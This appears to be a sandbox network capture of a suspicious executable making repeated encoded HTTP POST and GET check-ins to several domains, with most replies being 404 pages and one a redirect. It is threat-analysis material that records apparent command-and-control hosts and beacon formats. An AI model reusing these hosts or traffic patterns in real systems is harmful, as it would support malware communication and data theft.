Oct 7, 2024 12:35:37.460064888 CEST	775	OUT	POST /m1w5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.kk88.live Origin: http://www.kk88.live Connection: close Content-Length: 234 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.kk88.live/m1w5/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 36 70 6b 6e 63 4b 31 55 73 42 34 38 4d 69 6f 2b 54 6d 36 6d 76 39 51 4a 51 58 34 69 68 71 34 4d 6f 67 49 46 39 78 71 4d 2f 52 68 51 4a 42 49 65 68 79 78 64 36 2b 73 30 6c 75 69 4b 69 43 35 44 6e 6a 44 6c 57 30 34 71 6f 4c 51 58 53 4f 65 67 54 65 6f 50 48 41 64 43 70 66 53 64 31 70 77 79 6a 4b 79 30 56 61 43 56 65 6a 43 67 38 61 68 5a 4f 73 78 54 68 47 32 42 46 31 36 55 76 33 43 2f 73 64 70 79 6c 2b 73 7a 71 37 77 37 72 69 58 75 33 4e 67 30 2b 32 37 42 65 63 52 5a 50 2f 63 53 47 54 65 7a 48 66 63 59 32 79 71 55 69 44 50 4e 35 41 59 47 35 30 43 71 4f 4b 46 4f 4b 30 78 73 75 51 37 75 74 75 43 57 4f 52 79 6e 49 63 72 56 32 67 70 75 43 37 32 6a 47 47 75 6a 4b 34 4a 42 42 41 3d 3d Data Ascii: ej6Le=6pkncK1UsB48Mio+Tm6mv9QJQX4ihq4MogIF9xqM/RhQJBIehyxd6+s0luiKiC5DnjDlW04qoLQXSOegTeoPHAdCpfSd1pwyjKy0VaCVejCg8ahZOsxThG2BF16Uv3C/sdpyl+szq7w7riXu3Ng0+27BecRZP/cSGTezHfcY2yqUiDPN5AYG50CqOKFOK0xsuQ7utuCWORynIcrV2gpuC72jGGujK4JBBA==
Oct 7, 2024 12:35:38.347407103 CEST	479	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:35:38 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50029	68.178.233.113	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:40.018347979 CEST	1788	OUT	POST /m1w5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.kk88.live Origin: http://www.kk88.live Connection: close Content-Length: 1246 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.kk88.live/m1w5/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 36 70 6b 6e 63 4b 31 55 73 42 34 38 4d 69 6f 2b 54 6d 36 6d 76 39 51 4a 51 58 34 69 68 71 34 4d 6f 67 49 46 39 78 71 4d 2f 52 70 51 4f 30 63 65 6d 68 70 64 37 2b 73 30 36 65 6a 4e 69 43 35 61 6e 6e 6e 70 57 31 45 55 6f 4e 55 58 54 73 57 67 52 72 45 50 55 67 64 43 32 50 53 59 34 4a 78 79 6a 4b 43 34 56 61 53 56 65 6a 43 67 38 59 70 5a 4a 2b 5a 54 6e 47 32 4f 53 46 36 49 6c 58 44 59 73 64 52 59 6c 2b 68 47 71 4c 51 37 72 43 48 75 34 62 4d 30 68 47 37 44 64 63 52 42 50 2f 51 4a 47 54 43 5a 48 63 41 2b 32 31 61 55 69 30 4b 53 39 41 5a 59 36 79 48 53 4e 61 56 6a 49 55 68 6b 68 67 43 55 6d 38 48 2b 41 41 2b 4a 4d 72 75 49 2f 79 30 43 46 49 4f 55 43 7a 50 4f 45 62 73 30 62 7a 72 6b 77 65 30 53 59 6c 44 67 54 36 36 33 73 32 73 73 79 58 4a 47 78 7a 59 4b 6a 67 33 75 75 4f 53 4d 4a 6c 4f 6a 61 35 33 6f 30 4a 36 31 56 53 7a 31 43 2f 75 53 72 32 76 34 65 2b 2b 67 79 33 4e 74 71 39 2b 36 76 4b 50 4d 63 47 58 79 48 6e 61 73 4d 54 62 31 71 48 71 46 4b 46 48 61 61 41 6f 41 75 42 53 42 50 63 4c 74 [TRUNCATED] Data Ascii: ej6Le=6pkncK1UsB48Mio+Tm6mv9QJQX4ihq4MogIF9xqM/RpQO0cemhpd7+s06ejNiC5annnpW1EUoNUXTsWgRrEPUgdC2PSY4JxyjKC4VaSVejCg8YpZJ+ZTnG2OSF6IlXDYsdRYl+hGqLQ7rCHu4bM0hG7DdcRBP/QJGTCZHcA+21aUi0KS9AZY6yHSNaVjIUhkhgCUm8H+AA+JMruI/y0CFIOUCzPOEbs0bzrkwe0SYlDgT663s2ssyXJGxzYKjg3uuOSMJlOja53o0J61VSz1C/uSr2v4e++gy3Ntq9+6vKPMcGXyHnasMTb1qHqFKFHaaAoAuBSBPcLtEDqjBMCUZedgbLInN3ylsdhtNPZlgdz1vWENZJnNgfO/15nXBV/mY3a2dItlqx0UVPnWCShRhOQ+3ZR13u3imcGWvnUZ8PzgoAasfWe1CXfrc3bXZBs5ftjhqkNGoDMlVauBOSgSP1KZZe3ONVu+Wg+m+SN6N6Bevwkzgv4tkCG7AMofurcLIopBlWbHC6G69zGkfZKaxqffkh6H+txnMu9jIhcgiznvQI9FJZPeoaHotfqMVFW+zhhNnP1VfQDmDCwUVBwUmiAFT1lTt0tDbGJ+SGJ54mBph5O7tB+0V0NdngmMJJdT+24ADi+4D2imZ22MINB6U5Pl2G8oZpO191fv679NF5fcj63vBFORXQkOPtvaKyYEk87TJmDsmOOtBWs7az0QdBPvRp5bQy87kIlqNR2jOPBbiFPu9oPPFatgEEwrYcQ8aobbK39pbZlO5RjrMk9ZHsBD9fftmuMZbHn+DWznmi4iyC0Cb7VYpM4yq3SqAB3AJD7lZplVJjZUgYhXQVNMD/sNRFQ44uqm7KeDZeshur8pmRLuHEd4SM0vf0DVHVX94SNFCfvtGNVNC2V29uWConmG3ddzucSOsPMLa9E4McyqqAEaExXV5A/ArGh9ChoLGuUoQ5SR5kJWcjTRMtu3vV0wQgaVk0kI3ppqgxJXVACSHm [TRUNCATED]
Oct 7, 2024 12:35:40.914504051 CEST	479	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:35:40 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50030	68.178.233.113	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:42.555382013 CEST	501	OUT	GET /m1w5/?ej6Le=3rMHf/BSjWsGYHwCFDyQr7UpHD469M8Ow0JV4TmI6XMWIkQCx3J07rEG1KeFsj1Bt3GmHG0JhP0iSMuoC4YaBVBwifK18YsKoqHqcY+PGErO86AoCrs033ftT3/LwHGHiZtPsOM=&An=mLdxo2Y8RLRh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.kk88.live Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 7, 2024 12:35:43.466133118 CEST	479	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:35:43 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50031	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:48.519418001 CEST	778	OUT	POST /g5rn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.cablecarrental.net Origin: http://www.cablecarrental.net Connection: close Content-Length: 210 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.cablecarrental.net/g5rn/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 74 35 44 63 61 6c 6d 62 59 56 52 54 33 4b 73 56 71 5a 32 74 77 42 6d 61 51 6d 50 68 39 33 76 72 56 31 50 4f 68 79 50 53 6b 46 36 58 75 63 66 63 72 48 7a 42 31 63 42 54 78 2b 67 6d 6e 76 45 66 6b 66 72 48 72 75 6f 2b 74 41 31 2f 4c 75 67 6f 38 69 2f 51 56 7a 47 4f 32 66 65 2b 48 50 63 6d 32 71 69 53 55 68 57 4b 4f 57 42 6c 67 4a 58 71 61 51 4f 56 45 47 79 63 47 33 6c 4e 4b 56 62 47 6a 57 4d 6a 6c 39 57 36 49 62 68 52 48 62 75 46 47 78 4c 44 45 41 6b 54 73 68 72 6b 42 37 66 73 61 2b 61 77 4b 66 68 62 38 78 45 52 52 4b 45 42 45 55 42 64 68 55 62 55 6b 67 35 4d 5a 48 46 6a 4e 67 38 63 4e 54 72 6f 34 70 58 38 Data Ascii: ej6Le=t5DcalmbYVRT3KsVqZ2twBmaQmPh93vrV1POhyPSkF6XucfcrHzB1cBTx+gmnvEfkfrHruo+tA1/Lugo8i/QVzGO2fe+HPcm2qiSUhWKOWBlgJXqaQOVEGycG3lNKVbGjWMjl9W6IbhRHbuFGxLDEAkTshrkB7fsa+awKfhb8xERRKEBEUBdhUbUkg5MZHFjNg8cNTro4pX8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50032	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:51.058733940 CEST	802	OUT	POST /g5rn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.cablecarrental.net Origin: http://www.cablecarrental.net Connection: close Content-Length: 234 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.cablecarrental.net/g5rn/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 74 35 44 63 61 6c 6d 62 59 56 52 54 6c 62 63 56 70 36 4f 74 68 78 6d 5a 56 6d 50 68 30 58 75 69 56 31 7a 4f 68 7a 37 43 6b 32 4f 58 75 34 58 63 71 47 7a 42 37 38 42 54 70 75 67 6e 70 50 45 51 6b 66 6d 36 72 72 49 2b 74 41 4a 2f 4c 72 63 6f 38 52 6e 54 58 6a 47 62 2b 2f 65 34 59 66 63 6d 32 71 69 53 55 68 53 6b 4f 57 35 6c 6e 35 6e 71 5a 31 36 57 48 47 79 64 50 58 6c 4e 4f 56 61 4e 6a 57 4d 52 6c 38 36 63 49 59 56 52 48 66 71 46 47 67 4c 4d 54 51 6b 56 68 42 71 4e 4e 65 75 49 58 4f 62 73 46 63 38 2b 74 51 67 61 5a 63 46 62 59 6e 42 2b 7a 45 37 57 6b 69 68 2b 5a 6e 46 4a 50 67 45 63 66 45 6e 50 33 64 79 66 53 55 31 6c 32 51 67 33 64 36 52 4a 30 74 6b 73 45 30 66 6a 35 67 3d 3d Data Ascii: ej6Le=t5DcalmbYVRTlbcVp6OthxmZVmPh0XuiV1zOhz7Ck2OXu4XcqGzB78BTpugnpPEQkfm6rrI+tAJ/Lrco8RnTXjGb+/e4Yfcm2qiSUhSkOW5ln5nqZ16WHGydPXlNOVaNjWMRl86cIYVRHfqFGgLMTQkVhBqNNeuIXObsFc8+tQgaZcFbYnB+zE7Wkih+ZnFJPgEcfEnP3dyfSU1l2Qg3d6RJ0tksE0fj5g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50033	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:53.605835915 CEST	1815	OUT	POST /g5rn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.cablecarrental.net Origin: http://www.cablecarrental.net Connection: close Content-Length: 1246 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.cablecarrental.net/g5rn/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 74 35 44 63 61 6c 6d 62 59 56 52 54 6c 62 63 56 70 36 4f 74 68 78 6d 5a 56 6d 50 68 30 58 75 69 56 31 7a 4f 68 7a 37 43 6b 32 57 58 75 71 50 63 72 6c 62 42 36 38 42 54 33 2b 67 71 70 50 45 4a 6b 63 57 2b 72 72 4d 45 74 47 46 2f 4b 4e 49 6f 34 55 4c 54 64 6a 47 62 79 66 65 35 48 50 63 2f 32 72 4f 57 55 68 69 6b 4f 57 35 6c 6e 2f 72 71 50 51 4f 57 4c 6d 79 63 47 33 6b 4d 4b 56 61 6c 6a 57 31 6d 6c 38 2b 71 4c 75 6c 52 48 2f 36 46 48 57 58 4d 51 77 6b 58 6d 42 71 56 4e 65 71 58 58 4f 48 67 46 66 68 62 74 52 59 61 61 4c 68 46 63 30 4e 67 6c 69 6a 7a 39 78 70 38 66 53 74 6c 4f 42 73 6e 59 55 62 6d 77 38 79 4f 58 77 78 75 69 78 64 73 4b 5a 31 6b 30 37 5a 48 50 57 57 53 68 6a 48 30 52 34 52 79 45 73 41 56 39 53 43 4f 57 58 5a 72 4a 53 69 6a 6f 68 4c 4a 4e 57 4c 6c 56 2b 44 5a 76 43 57 34 73 68 36 68 52 6a 65 37 68 48 39 43 62 51 4f 4e 6d 59 73 32 53 6d 70 31 44 77 5a 30 39 73 4a 6a 74 45 66 76 64 4d 6d 4b 49 78 35 63 44 4a 4e 72 37 38 53 33 74 54 37 6f 37 35 62 74 43 70 59 2b 7a 36 52 6b [TRUNCATED] Data Ascii: ej6Le=t5DcalmbYVRTlbcVp6OthxmZVmPh0XuiV1zOhz7Ck2WXuqPcrlbB68BT3+gqpPEJkcW+rrMEtGF/KNIo4ULTdjGbyfe5HPc/2rOWUhikOW5ln/rqPQOWLmycG3kMKValjW1ml8+qLulRH/6FHWXMQwkXmBqVNeqXXOHgFfhbtRYaaLhFc0Nglijz9xp8fStlOBsnYUbmw8yOXwxuixdsKZ1k07ZHPWWShjH0R4RyEsAV9SCOWXZrJSijohLJNWLlV+DZvCW4sh6hRje7hH9CbQONmYs2Smp1DwZ09sJjtEfvdMmKIx5cDJNr78S3tT7o75btCpY+z6RkWUQKFggrNdVJ7vSpq3gJ7kyY9SLKu/a679V1lszAZvK26KVObXg86QApJ243KHtFrv5zQ4WziAhzvBS1cX20CvnGDQfOT3q5IH6v/r71DsC4Vy4uvh8q+rI1zp6kTNqIfEXb7L7nPHzBgMmZo9xx7XQjuPB9ZijLf865OUEc1bY4UjyxN6jogmF8Vh73EpR2mOG400DVNOmhibqK1cQ99Byk4F9YMSIb8gtkjUmRi1nneHLiABMDcZQXtRBcADBIsTRIsp5iPM10baRPS1enbxr46jpnu/JyW9yjyPJ5vIZDTc5rzSXoikyPwXez8AhmBqJC3NcBO83Rdawsz776igXmTWoHCpaGIb7WAPoytwhDJTJLPRq9+jwv4umZWclFGpLjly4scMTwuI+Z2BKX6YNnhSN5g8pPjRij/hEPy6FN6ks+mN768wrOf23Efu75Ky4a3cX5QwpRDYhKlL9mh7wj8a/TK1xs1865Ewpq5O3K3Y8KHhor7/IoXllNfkUIOkvAetdrJVeBeMHnc4frmNrRUeWQGfcuAkQ1IQBMq9N8lCWIpTa6qut9WrenMvlMiaNZDkyeNc/HiG32crKO8rptDu2pHm7hflzNr/rmJ/5Vp2LYvzk80lsjqjZHBGObOuoI8vJyRQaTuqA5C8R8buqpc99GF4oe8u [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50034	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:56.154337883 CEST	510	OUT	GET /g5rn/?ej6Le=g7r8ZVC0cxJrkvwRypX7ol6hCzLGk0q5Jh6A3BrwknfWwIjVhyX9x4N34a97pOgSsNGPocoejkJQBdcVqC7tK2vQwMKTMeAj0+OVYz2VfmsetKnlMlSnUnOZTT0AV1eZjywajZ8=&An=mLdxo2Y8RLRh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.cablecarrental.net Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 7, 2024 12:35:56.622138023 CEST	413	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 07 Oct 2024 10:35:56 GMT Content-Type: text/html Content-Length: 273 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 65 6a 36 4c 65 3d 67 37 72 38 5a 56 43 30 63 78 4a 72 6b 76 77 52 79 70 58 37 6f 6c 36 68 43 7a 4c 47 6b 30 71 35 4a 68 36 41 33 42 72 77 6b 6e 66 57 77 49 6a 56 68 79 58 39 78 34 4e 33 34 61 39 37 70 4f 67 53 73 4e 47 50 6f 63 6f 65 6a 6b 4a 51 42 64 63 56 71 43 37 74 4b 32 76 51 77 4d 4b 54 4d 65 41 6a 30 2b 4f 56 59 7a 32 56 66 6d 73 65 74 4b 6e 6c 4d 6c 53 6e 55 6e 4f 5a 54 54 30 41 56 31 65 5a 6a 79 77 61 6a 5a 38 3d 26 41 6e 3d 6d 4c 64 78 6f 32 59 38 52 4c 52 68 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?ej6Le=g7r8ZVC0cxJrkvwRypX7ol6hCzLGk0q5Jh6A3BrwknfWwIjVhyX9x4N34a97pOgSsNGPocoejkJQBdcVqC7tK2vQwMKTMeAj0+OVYz2VfmsetKnlMlSnUnOZTT0AV1eZjywajZ8=&An=mLdxo2Y8RLRh"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50035	38.55.251.233	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:36:10.166371107 CEST	772	OUT	POST /9wb2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.kuaimaolife.shop Origin: http://www.kuaimaolife.shop Connection: close Content-Length: 210 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.kuaimaolife.shop/9wb2/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 30 57 4e 6b 4d 41 59 62 53 49 75 56 58 34 6f 68 39 6a 41 74 36 62 64 45 6b 2f 43 75 39 43 4b 6c 47 42 67 59 42 2b 32 6f 4a 38 70 5a 4c 6b 6f 52 46 73 6c 63 66 50 63 33 35 73 71 43 4c 7a 47 61 56 63 35 43 42 55 59 46 4a 30 5a 77 61 47 36 64 75 4c 4f 38 49 6f 57 71 39 51 33 74 4f 59 6e 49 72 4f 73 34 7a 71 30 6d 71 6f 57 2b 43 47 43 32 33 2b 44 4d 54 6d 48 6d 2f 4d 47 58 58 50 4a 75 63 71 39 44 31 36 45 79 66 76 72 46 4a 46 65 72 33 6f 42 4f 56 70 37 4e 63 78 2b 37 55 36 41 71 6e 7a 2f 4c 79 4d 4a 75 53 79 54 53 74 48 36 2b 37 56 46 57 46 46 70 78 32 34 30 58 56 58 53 34 59 52 57 34 51 30 66 43 4a 4d 6b 70 Data Ascii: ej6Le=0WNkMAYbSIuVX4oh9jAt6bdEk/Cu9CKlGBgYB+2oJ8pZLkoRFslcfPc35sqCLzGaVc5CBUYFJ0ZwaG6duLO8IoWq9Q3tOYnIrOs4zq0mqoW+CGC23+DMTmHm/MGXXPJucq9D16EyfvrFJFer3oBOVp7Ncx+7U6Aqnz/LyMJuSyTStH6+7VFWFFpx240XVXS4YRW4Q0fCJMkp
Oct 7, 2024 12:36:11.020119905 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 10:36:10 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 